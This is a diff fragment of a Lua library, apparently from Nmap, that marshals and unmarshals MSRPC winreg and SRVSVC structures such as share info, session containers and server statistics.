+--@param max_length [optional] The maximum size of the buffer, in characters. Defaults to the length of the string, including the null.
+--@return A string representing the marshalled data.
+function marshall_winreg_String(table, max_length)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_winreg_String()")
+
+ result = marshall_winreg_StringBuf(table, max_length)
+
+ stdnse.debug4("MSRPC: Leaving marshall_winreg_String()")
+ return result
+end
+
+---Unmarshall a winreg_String. Since it has the same makeup as winreg_StringBuf, delegate to that.
+--
+--@param data The data buffer.
+--@param pos The position in the data buffer.
+--@return (pos, str) The new position and the string.
+function unmarshall_winreg_String(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_winreg_String()")
+
+ pos, str = unmarshall_winreg_StringBuf(data, pos)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_winreg_String()")
+ return pos, str
+end
+
+
+-------------------------------------
+-- SRVSVC
+-- (dependencies: SECURITY, SVCCTL)
+-------------------------------------
+---Share types
+local srvsvc_ShareType =
+{
+ STYPE_DISKTREE = 0x00000000,
+ STYPE_DISKTREE_TEMPORARY = 0x40000000,
+ STYPE_DISKTREE_HIDDEN = 0x80000000,
+ STYPE_PRINTQ = 0x00000001,
+ STYPE_PRINTQ_TEMPORARY = 0x40000001,
+ STYPE_PRINTQ_HIDDEN = 0x80000001,
+ STYPE_DEVICE = 0x00000002, -- Serial device
+ STYPE_DEVICE_TEMPORARY = 0x40000002,
+ STYPE_DEVICE_HIDDEN = 0x80000002,
+ STYPE_IPC = 0x00000003, -- Interprocess communication (IPC)
+ STYPE_IPC_TEMPORARY = 0x40000003,
+ STYPE_IPC_HIDDEN = 0x80000003
+}
+---Share type strings
+local srvsvc_ShareType_str =
+{
+ STYPE_DISKTREE = "Disk",
+ STYPE_DISKTREE_TEMPORARY = "Disk (temporary)",
+ STYPE_DISKTREE_HIDDEN = "Disk (hidden)",
+ STYPE_PRINTQ = "Print queue",
+ STYPE_PRINTQ_TEMPORARY = "Print queue (temporary)",
+ STYPE_PRINTQ_HIDDEN = "Print queue (hidden)",
+ STYPE_DEVICE = "Serial device",
+ STYPE_DEVICE_TEMPORARY = "Serial device (temporary)",
+ STYPE_DEVICE_HIDDEN = "Serial device (hidden)",
+ STYPE_IPC = "Interprocess Communication",
+ STYPE_IPC_TEMPORARY = "Interprocess Communication (temporary)",
+ STYPE_IPC_HIDDEN = "Interprocess Communication (hidden)"
+}
+
+---Marshall a <code>srvsvc_ShareType</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param sharetype The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_srvsvc_ShareType(sharetype)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_ShareType()")
+
+ result = marshall_Enum32(sharetype, srvsvc_ShareType)
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_ShareType()")
+ return result
+end
+
+---Unmarshall a <code>srvsvc_ShareType</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_srvsvc_ShareType(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_ShareType()")
+
+ pos, str = unmarshall_Enum32(data, pos, srvsvc_ShareType)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_ShareType()")
+ return pos, str
+end
+
+---Convert a <code>srvsvc_ShareType</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function srvsvc_ShareType_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering srvsvc_ShareType_tostr()")
+
+ result = srvsvc_ShareType_str[val]
+
+ stdnse.debug4("MSRPC: Leaving srvsvc_ShareType_tostr()")
+ return result
+end
+
+---Marshall a NetShareInfo type 0, which is just a name.
+--
+--<code>
+-- typedef struct {
+-- [string,charset(UTF16)] uint16 *name;
+-- } srvsvc_NetShareInfo0;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param name The name to marshall.
+--@return A string representing the marshalled data.
+local function marshall_srvsvc_NetShareInfo0(location, name)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetShareInfo0()")
+
+ result = marshall_ptr(location, marshall_unicode, {name, true}, name)
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetShareInfo0()")
+ return result
+end
+
+---Unmarshall a NetShareInfo type 0, which is just a name. See the marshall function for more information.
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data packet.
+--@param pos The position within the data.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_srvsvc_NetShareInfo0(location, data, pos, result)
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_NetShareInfo0()")
+ if(result == nil) then
+ result = {}
+ end
+
+ if(location == HEAD or location == ALL) then
+ pos, result['name'] = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {true})
+ end
+
+ if(location == BODY or location == ALL) then
+ pos, result['name'] = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {true}, result['name'])
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_NetShareInfo0()")
+ return pos, result
+end
+
+---Marshall a NetShareInfo type 1, which is the name and a few other things.
+--
+--<code>
+-- typedef struct {
+-- [string,charset(UTF16)] uint16 *name;
+-- srvsvc_ShareType type;
+-- [string,charset(UTF16)] uint16 *comment;
+-- } srvsvc_NetShareInfo1;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param name The name to marshall.
+--@param sharetype The sharetype to marshall (as a string).
+--@param comment The comment to marshall.
+--@return A string representing the marshalled data.
+local function marshall_srvsvc_NetShareInfo1(location, name, sharetype, comment)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetShareInfo1()")
+ local name = marshall_ptr(location, marshall_unicode, {name, true}, name)
+ local sharetype = marshall_basetype(location, marshall_srvsvc_ShareType, {sharetype})
+ local comment = marshall_ptr(location, marshall_unicode, {comment, true}, comment)
+
+ result = name .. sharetype .. comment
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetShareInfo1()")
+ return result
+end
+
+---Unmarshall a NetShareInfo type 1, which is a name and a couple other things. See the marshall
+-- function for more information.
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data packet.
+--@param pos The position within the data.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_srvsvc_NetShareInfo1(location, data, pos, result)
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_NetShareInfo1()")
+ if(result == nil) then
+ result = {}
+ end
+
+ if(location == HEAD or location == ALL) then
+ pos, result['name'] = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {true})
+ pos, result['sharetype'] = unmarshall_srvsvc_ShareType(data, pos)
+ pos, result['comment'] = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {true})
+ end
+
+ if(location == BODY or location == ALL) then
+ pos, result['name'] = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {true}, result['name'])
+ pos, result['comment'] = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {true}, result['comment'])
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_NetShareInfo1()")
+ return pos, result
+end
+
+
+---Marshall a NetShareInfo type 2, which is the name and a few other things.
+--
+--<code>
+-- typedef struct {
+-- [string,charset(UTF16)] uint16 *name;
+-- srvsvc_ShareType type;
+-- [string,charset(UTF16)] uint16 *comment;
+-- uint32 permissions;
+-- uint32 max_users;
+-- uint32 current_users;
+-- [string,charset(UTF16)] uint16 *path;
+-- [string,charset(UTF16)] uint16 *password;
+-- } srvsvc_NetShareInfo2;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param name The name to marshall.
+--@param sharetype The sharetype to marshall (as a string).
+--@param comment The comment to marshall.
+--@param permissions The permissions, an integer.
+--@param max_users The max users, an integer.
+--@param current_users The current users, an integer.
+--@param path The path, a string.
+--@param password The share-level password, a string (never used on Windows).
+--@return A string representing the marshalled data.
+local function marshall_srvsvc_NetShareInfo2(location, name, sharetype, comment, permissions, max_users, current_users, path, password)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetShareInfo2()")
+ local name = marshall_ptr(location, marshall_unicode, {name, true}, name)
+ local sharetype = marshall_basetype(location, marshall_srvsvc_ShareType, {sharetype})
+ local comment = marshall_ptr(location, marshall_unicode, {comment, true}, comment)
+ local permissions = marshall_basetype(location, marshall_int32, {permissions})
+ local max_users = marshall_basetype(location, marshall_int32, {max_users})
+ local current_users = marshall_basetype(location, marshall_int32, {current_users})
+ local path = marshall_ptr(location, marshall_unicode, {path, true}, path)
+ local password = marshall_ptr(location, marshall_unicode, {password, true}, password)
+
+ result = name .. sharetype .. comment .. permissions .. max_users .. current_users .. path .. password
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetShareInfo2()")
+ return result
+end
+
+---Unmarshall a NetShareInfo type 2, which is a name and a few other things. See the marshall
+-- function for more information.
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data packet.
+--@param pos The position within the data.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_srvsvc_NetShareInfo2(location, data, pos, result)
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_NetShareInfo2()")
+ if(result == nil) then
+ result = {}
+ end
+
+ if(location == HEAD or location == ALL) then
+ pos, result['name'] = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {true})
+ pos, result['sharetype'] = unmarshall_srvsvc_ShareType(data, pos)
+ pos, result['comment'] = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {true})
+ pos, result['permissions'] = unmarshall_int32(data, pos)
+ pos, result['max_users'] = unmarshall_int32(data, pos)
+ pos, result['current_users'] = unmarshall_int32(data, pos)
+ pos, result['path'] = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {true})
+ pos, result['password'] = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {true})
+ end
+
+ if(location == BODY or location == ALL) then
+ pos, result['name'] = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {true}, result['name'])
+ pos, result['comment'] = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {true}, result['comment'])
+ pos, result['path'] = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {true}, result['path'])
+ pos, result['password'] = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {true}, result['password'])
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_NetShareInfo2()")
+ return pos, result
+end
+
+---Marshall a NetShareCtr (container) type 0.
+--
+--It is a simple array with the following definition:
+--
+--<code>
+-- typedef struct {
+-- uint32 count;
+-- [size_is(count)] srvsvc_NetShareInfo0 *array;
+-- } srvsvc_NetShareCtr0;
+--</code>
+--
+--@param NetShareCtr0 A table representing the structure.
+--@return A string representing the marshalled data.
+function marshall_srvsvc_NetShareCtr0(NetShareCtr0)
+ local i
+ local result = {}
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetShareCtr0()")
+
+ if(NetShareCtr0 == nil) then
+ result[#result+1] = string.pack("<I4", 0)
+ else
+ local array = NetShareCtr0['array']
+ local marshall = nil
+
+ if(array == nil) then
+ result[#result+1] = string.pack("<I4", 0)
+ else
+ result[#result+1] = string.pack("<I4", #array) -- count
+
+ -- Build the array that we can marshall
+ marshall = {}
+ for i = 1, #array, 1 do
+ marshall[i] = {}
+ marshall[i]['func'] = marshall_srvsvc_NetShareInfo0
+ marshall[i]['args'] = {array[i]['name']}
+ end
+ end
+
+ result[#result+1] = marshall_ptr(ALL, marshall_array, {marshall}, marshall) -- array
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetShareCtr0()")
+ return table.concat(result)
+end
+
+---Unmarshall a NetShareCtr (container) type 0. See the marshall function for the definition.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_srvsvc_NetShareCtr0(data, pos)
+ local count
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_NetShareCtr0()")
+
+ pos, count = unmarshall_int32(data, pos)
+
+ pos, result['array'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {count, unmarshall_srvsvc_NetShareInfo0, {}})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_NetShareCtr0()")
+ return pos, result
+end
+
+---Marshall a NetShareCtr (container) type 1.
+--
+--It is a simple array with the following definition:
+--
+--<code>
+-- typedef struct {
+-- uint32 count;
+-- [size_is(count)] srvsvc_NetShareInfo1 *array;
+-- } srvsvc_NetShareCtr1;
+--</code>
+--
+--@param NetShareCtr1 A table representing the structure.
+--@return A string representing the marshalled data.
+function marshall_srvsvc_NetShareCtr1(NetShareCtr1)
+ local i
+ local result = {}
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetShareCtr1()")
+
+ if(NetShareCtr1 == nil) then
+ result[#result+1] = string.pack("<I4", 0)
+ else
+ local array = NetShareCtr1['array']
+ local marshall = nil
+
+ if(array == nil) then
+ result[#result+1] = string.pack("<I4", 0)
+ else
+ result[#result+1] = string.pack("<I4", #array) -- count
+
+ -- Build the array that we can marshall
+ marshall = {}
+ for i = 1, #array, 1 do
+ marshall[i] = {}
+ marshall[i]['func'] = marshall_srvsvc_NetShareInfo1
+ marshall[i]['args'] = {array[i]['name'], array[i]['sharetype'], array[i]['comment']}
+ end
+ end
+
+ result[#result+1] = marshall_ptr(ALL, marshall_array, {marshall}, marshall) -- array
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetShareCtr1()")
+ return table.concat(result)
+end
+
+
+---Marshall a NetShareCtr (container) type 2.
+--
+--It is a simple array with the following definition:
+--
+--<code>
+-- typedef struct {
+-- uint32 count;
+-- [size_is(count)] srvsvc_NetShareInfo2 *array;
+-- } srvsvc_NetShareCtr2;
+--</code>
+--
+--@param NetShareCtr2 A pointer to the structure.
+--@return A string representing the marshalled data.
+function marshall_srvsvc_NetShareCtr2(NetShareCtr2)
+ local i
+ local result = {}
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetShareCtr2()")
+
+ if(NetShareCtr2 == nil) then
+ result[#result+1] = string.pack("<I4", 0)
+ else
+ local array = NetShareCtr2['array']
+ local marshall = nil
+
+ if(array == nil) then
+ result[#result+1] = string.pack("<I4", 0)
+ else
+ result[#result+1] = string.pack("<I4", #array) -- count
+
+ -- Build the array that we can marshall
+ marshall = {}
+ for i = 1, #array, 1 do
+ marshall[i] = {}
+ marshall[i]['func'] = marshall_srvsvc_NetShareInfo2
+ marshall[i]['args'] = {array[i]['name'], array[i]['sharetype'], array[i]['comment'], array[i]['permissions'], array[i]['max_users'], array[i]['current_users'], array[i]['path'], array[i]['password']}
+ marshall[i]['args'] = {array[i]['name']}
+ end
+ end
+
+ result[#result+1] = marshall_ptr(ALL, marshall_array, {marshall}, marshall) -- array
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetShareCtr2()")
+ return table.concat(result)
+end
+
+---Marshall the top-level NetShareCtr. This is a union of a bunch of different containers:
+--
+--<code>
+-- typedef union {
+-- [case(0)] srvsvc_NetShareCtr0 *ctr0;
+-- [case(1)] srvsvc_NetShareCtr1 *ctr1;
+-- [case(2)] srvsvc_NetShareCtr2 *ctr2;
+-- [case(501)] srvsvc_NetShareCtr501 *ctr501;
+-- [case(502)] srvsvc_NetShareCtr502 *ctr502;
+-- [case(1004)] srvsvc_NetShareCtr1004 *ctr1004;
+-- [case(1005)] srvsvc_NetShareCtr1005 *ctr1005;
+-- [case(1006)] srvsvc_NetShareCtr1006 *ctr1006;
+-- [case(1007)] srvsvc_NetShareCtr1007 *ctr1007;
+-- [case(1501)] srvsvc_NetShareCtr1501 *ctr1501;
+-- [default] ;
+-- } srvsvc_NetShareCtr;
+--</code>
+--
+-- Not all of them are implemented, however; look at the code to see which are implemented (at the
+-- time of this writing, it's 0, 1, and 2).
+--
+--@param level The level to request. Different levels will return different results, but also require
+-- different access levels to call.
+--@param data The data to populate the array with. Depending on the level, this data will be different.
+-- For level 0, you'll probably want a table containing array=nil.
+--@return A string representing the marshalled data, or 'nil' if it couldn't be marshalled.
+function marshall_srvsvc_NetShareCtr(level, data)
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetShareCtr()")
+
+ local marshaller
+ if(level == 0) then
+ marshaller = marshall_srvsvc_NetShareCtr0
+ elseif(level == 1) then
+ marshaller = marshall_srvsvc_NetShareCtr1
+ elseif(level == 2) then
+ marshaller = marshall_srvsvc_NetShareCtr2
+ else
+ stdnse.debug1("MSRPC: ERROR: Script requested an unknown level for srvsvc_NetShareCtr: %d", level)
+ return nil
+ end
+ local result = string.pack("<I4", level) .. marshall_ptr(ALL, marshaller, {data}, data)
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetShareCtr()")
+ return result
+end
+
+---Unmarshall the top-level NetShareCtr. This is a union of a bunch of containers, see the equivalent
+-- marshall function for more information; at the time of this writing I've only implemented level = 0.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+-- The result may be <code>nil</code> if there's an error.
+function unmarshall_srvsvc_NetShareCtr(data, pos)
+ local level
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_srv_NetShareCtr()")
+
+ pos, level = unmarshall_int32(data, pos)
+
+ if(level == 0) then
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_srvsvc_NetShareCtr0, {})
+ else
+ stdnse.debug1("MSRPC: ERROR: Server returned an unknown level for srvsvc_NetShareCtr: %d", level)
+ pos, result = nil, nil
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srv_NetShareCtr()")
+ return pos, result
+end
+
+---Unmarshall the top-level NetShareInfo. This is a union of a bunch of different structs:
+--
+--<code>
+-- typedef union {
+-- [case(0)] srvsvc_NetShareInfo0 *info0;
+-- [case(1)] srvsvc_NetShareInfo1 *info1;
+-- [case(2)] srvsvc_NetShareInfo2 *info2;
+-- [case(501)] srvsvc_NetShareInfo501 *info501;
+-- [case(502)] srvsvc_NetShareInfo502 *info502;
+-- [case(1004)] srvsvc_NetShareInfo1004 *info1004;
+-- [case(1005)] srvsvc_NetShareInfo1005 *info1005;
+-- [case(1006)] srvsvc_NetShareInfo1006 *info1006;
+-- [case(1007)] srvsvc_NetShareInfo1007 *info1007;
+-- [case(1501)] sec_desc_buf *info1501;
+-- [default] ;
+-- } srvsvc_NetShareInfo;
+--</code>
+--
+-- Not all of them are implemented, however; look at the code to see which are implemented (at the
+-- time of this writing, it's 0, 1, and 2).
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. This may be
+-- <code>nil</code> if there was an error.
+function unmarshall_srvsvc_NetShareInfo(data, pos)
+ local level
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_NetShareInfo()")
+ pos, level = unmarshall_int32(data, pos)
+
+ if(level == 0) then
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_struct, {unmarshall_srvsvc_NetShareInfo0, {}})
+ elseif(level == 1) then
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_struct, {unmarshall_srvsvc_NetShareInfo1, {}})
+ elseif(level == 2) then
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_struct, {unmarshall_srvsvc_NetShareInfo2, {}})
+ else
+ stdnse.debug1("MSRPC: ERROR: Invalid level returned by NetShareInfo: %d\n", level)
+ pos, result = nil, nil
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_NetShareInfo()")
+ return pos, result
+end
+
+---Marshall a NetSessInfo type 10.
+--
+--<code>
+-- typedef struct {
+-- [string,charset(UTF16)] uint16 *client;
+-- [string,charset(UTF16)] uint16 *user;
+-- uint32 time;
+-- uint32 idle_time;
+-- } srvsvc_NetSessInfo10;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param client The client string.
+--@param user The user string.
+--@param time The number of seconds that the user has been logged on.
+--@param idle_time The number of seconds that the user's been idle.
+--@return A string representing the marshalled data.
+local function marshall_srvsvc_NetSessInfo10(location, client, user, time, idle_time)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetShareInfo10()")
+ local client = marshall_ptr(location, marshall_unicode, {client, true}, client)
+ local user = marshall_ptr(location, marshall_unicode, {user, true}, user)
+ local time = marshall_basetype(location, marshall_int32, {time})
+ local idle_time = marshall_basetype(location, marshall_int32, {idle_time})
+
+ result = client .. user .. time .. idle_time
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetShareInfo10()")
+ return result
+end
+
+---Unmarshall a NetSessInfo type 10. For more information, see the marshall function.
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data packet.
+--@param pos The position within the data.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_srvsvc_NetSessInfo10(location, data, pos, result)
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_NetSessInfo10()")
+ if(result == nil) then
+ result = {}
+ end
+
+ if(location == HEAD or location == ALL) then
+ pos, result['client'] = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {true})
+ pos, result['user'] = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {true})
+ pos, result['time'] = unmarshall_int32(data, pos)
+ pos, result['idle_time'] = unmarshall_int32(data, pos)
+ end
+
+ if(location == BODY or location == ALL) then
+ pos, result['client'] = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {true}, result['client'])
+ pos, result['user'] = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {true}, result['user'])
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_NetSessInfo10()")
+ return pos, result
+end
+
+---Marshall a NetSessCtr (session container) type 10.
+--
+--It is a simple array with the following definition:
+--
+--<code>
+-- typedef struct {
+-- uint32 count;
+-- [size_is(count)] srvsvc_NetSessInfo10 *array;
+-- } srvsvc_NetSessCtr10;
+--</code>
+--
+--@param NetSessCtr10 A table representing the structure.
+--@return A string representing the marshalled data.
+function marshall_srvsvc_NetSessCtr10(NetSessCtr10)
+ local i
+ local result = {}
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetSessCtr10()")
+
+ if(NetSessCtr10 == nil) then
+ result[#result+1] = string.pack("<I4", 0)
+ else
+ local array = NetSessCtr10['array']
+ local marshall = nil
+
+ if(array == nil) then
+ result[#result+1] = string.pack("<I4", 0)
+ else
+ result[#result+1] = string.pack("<I4", #array) -- count
+
+ -- Build the array that we can marshall
+ marshall = {}
+ for i = 1, #array, 1 do
+ marshall[i] = {}
+ marshall[i]['func'] = marshall_srvsvc_NetSessInfo10
+ marshall[i]['args'] = {array[i]['client'], array[i]['user'], array[i]['time'], array[i]['idle_time']}
+ end
+ end
+
+ result[#result+1] = marshall_ptr(ALL, marshall_array, {marshall}, marshall) -- array
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetSessCtr10()")
+ return table.concat(result)
+end
+
+---Unmarshall a NetSessCtr (session container) type 10. See the marshall function for the definition.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_srvsvc_NetSessCtr10(data, pos)
+ local count
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_NetSessCtr10()")
+
+ pos, count = unmarshall_int32(data, pos)
+
+ pos, result['array'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {count, unmarshall_srvsvc_NetSessInfo10, {}})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_NetSessCtr10()")
+ return pos, result
+end
+
+---Marshall the top-level NetShareCtr. This is a union of a bunch of different containers:
+--
+--<code>
+-- typedef union {
+-- [case(0)] srvsvc_NetSessCtr0 *ctr0;
+-- [case(1)] srvsvc_NetSessCtr1 *ctr1;
+-- [case(2)] srvsvc_NetSessCtr2 *ctr2;
+-- [case(10)] srvsvc_NetSessCtr10 *ctr10;
+-- [case(502)] srvsvc_NetSessCtr502 *ctr502;
+-- [default] ;
+-- } srvsvc_NetSessCtr;
+--</code>
+--
+-- Not all of them are implemented, however; look at the code to see which are implemented (at the
+-- time of this writing, it's just 10).
+--
+--@param level The level to request. Different levels will return different results, but also require
+-- different access levels to call.
+--@param data The data to populate the array with. Depending on the level, this data will be different.
+--@return A string representing the marshalled data.
+function marshall_srvsvc_NetSessCtr(level, data)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_srvsvc_NetShareCtr()")
+
+ if(level == 10) then
+ result = string.pack("<I4", level) .. marshall_ptr(ALL, marshall_srvsvc_NetSessCtr10, {data}, data)
+ else
+ stdnse.debug1("MSRPC: ERROR: Script requested an unknown level for srvsvc_NetSessCtr")
+ result = nil
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_srvsvc_NetShareCtr()")
+ return result
+end
+
+---Unmarshall the top-level NetShareCtr. This is a union; see the marshall function for more information.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. Can be
+-- <code>nil</code> if there's an error.
+function unmarshall_srvsvc_NetSessCtr(data, pos)
+ local level
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_NetSessCtr()")
+
+ level, pos = string.unpack("<I4", data, pos)
+
+ if(level == 10) then
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_srvsvc_NetSessCtr10, {})
+ else
+ stdnse.debug1("MSRPC: ERROR: Invalid level returned by NetSessCtr: %d\n", level)
+ pos, result = nil, nil
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_NetSessCtr()")
+ return pos, result
+end
+
+
+---Unmarshall a <code>srvsvc_Statistics</code> packet. This is basically a great big struct:
+--
+--<code>
+-- typedef struct {
+-- uint32 start;
+-- uint32 fopens;
+-- uint32 devopens;
+-- uint32 jobsqueued;
+-- uint32 sopens;
+-- uint32 stimeouts;
+-- uint32 serrorout;
+-- uint32 pwerrors;
+-- uint32 permerrors;
+-- uint32 syserrors;
+-- uint32 bytessent_low;
+-- uint32 bytessent_high;
+-- uint32 bytesrcvd_low;
+-- uint32 bytesrcvd_high;
+-- uint32 avresponse;
+-- uint32 reqbufneed;
+-- uint32 bigbufneed;
+-- } srvsvc_Statistics;
+--</code>
+--
+-- Note that Wireshark (at least, the version I'm using, 1.0.3) gets this wrong, so be careful.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_srvsvc_Statistics(data, pos)
+ local response = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_Statistics()")
+
+ pos, response['start'] = unmarshall_int32(data, pos)
+ pos, response['fopens'] = unmarshall_int32(data, pos)
+ pos, response['devopens'] = unmarshall_int32(data, pos)
+ pos, response['jobsqueued'] = unmarshall_int32(data, pos)
+ pos, response['sopens'] = unmarshall_int32(data, pos)
+ pos, response['stimeouts'] = unmarshall_int32(data, pos)
+ pos, response['serrorout'] = unmarshall_int32(data, pos)
+ pos, response['pwerrors'] = unmarshall_int32(data, pos)
+ pos, response['permerrors'] = unmarshall_int32(data, pos)
+ pos, response['syserrors'] = unmarshall_int32(data, pos)
